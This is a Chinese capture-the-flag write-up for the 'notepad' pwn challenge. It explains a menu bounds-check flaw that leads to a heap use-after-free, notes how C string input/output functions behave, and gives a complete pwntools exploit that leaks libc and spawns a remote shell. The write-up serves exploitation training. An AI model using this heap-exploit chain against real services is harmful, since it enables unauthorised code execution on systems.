漏洞是notepad_open()函数中的menu函数对上界限制了但是没有对下界验证,导致可以输入比a小的字符从而执行堆上的地址,然后我们可以先申请3个small bin,然后在第一个chunk里写入free_plt,再利用这个漏洞执行free_plt来free掉第二个small bin,然后用notepad_delete函数free掉第一个small bin就会合并第二个small bin,再申请这个bin就可以对第二个small bin进行uaf漏洞,先利用printf函数泄漏libc,然后再system('/bin/sh') get shell
注意点:
C语言中的格式控制读入函数scanf(终端读入)和fscanf(文件读入)函数都是以非空白字符开始,以第一个空白字符(空格、换行等)结束,并且系统自动在末尾加上字符串结束标记'\0';
格式控制输出函数 printf(输出到终端)和fprintf(输出到文件)函数输出时直到遇到'\0'停止输出,并且'\0'不输出;
puts函数和fputs函数输出时直到遇到'\0'停止输出,并且'\0'不输出;
gets函数遇到'\n'或文件结束标记时停止读入,不读取'\n',在结尾自动加上'\0';
fgets函数遇到'\n'或文件结束标记时停止读入,并读取'\n',在结尾自动加上'\0';
strncpy函数遇到'\0'终止
完整exp:
from pwn import *
context.log_level = 'debug'
#p = process('./notepad',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7713)
elf = ELF('./notepad')
def new(size,data):
p.sendlineafter('::> ','a')
p.sendlineafter('size > ',str(size))
p.sendlineafter('data > ',data)
def open(id,choice,edit = 'n',data = ''):
p.sendlineafter('::> ','b')
p.sendlineafter('id > ',str(id))
p.sendlineafter('edit (Y/n)',edit)
if edit == 'y':
p.sendlineafter('content > ',data)
p.sendlineafter('::> ',choice)
def delete(id):
p.sendlineafter('::> ','c')
p.sendlineafter('id > ',str(id))
p.recvuntil('::> ')
p.sendline('c')
new(60,'aaaa') #0
new(60,'bbbb') #1
new(60,'cccc') #2
#free note[1]
payload = 'a'*52 + p32(elf.plt['free'])
open(0,'a','y',payload)
open(1,'^','n')
#free note[0]
delete(0)
#leak libc
payload = 'a'*52 + p32(elf.plt['printf']) + 'aaaa'
payload += p32(0x51) + '%1063$p\x00'
new(136,payload)
open(1,'^','n')
__libc_start_main_ret = int(p.recvuntil('note',drop = True),16)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('libc base addr : 0x%x'%libc_base)
log.success('system addr : 0x%x'%system_addr)
#system('/bin/sh\x00')
payload = 'a'*52 + p32(system_addr) + 'aaaa'
payload += 'bbbb' + '/bin/sh\x00'
delete(0)
new(136,payload)
#gdb.attach(p)
open(1,'^','n')
p.interactive()
网友评论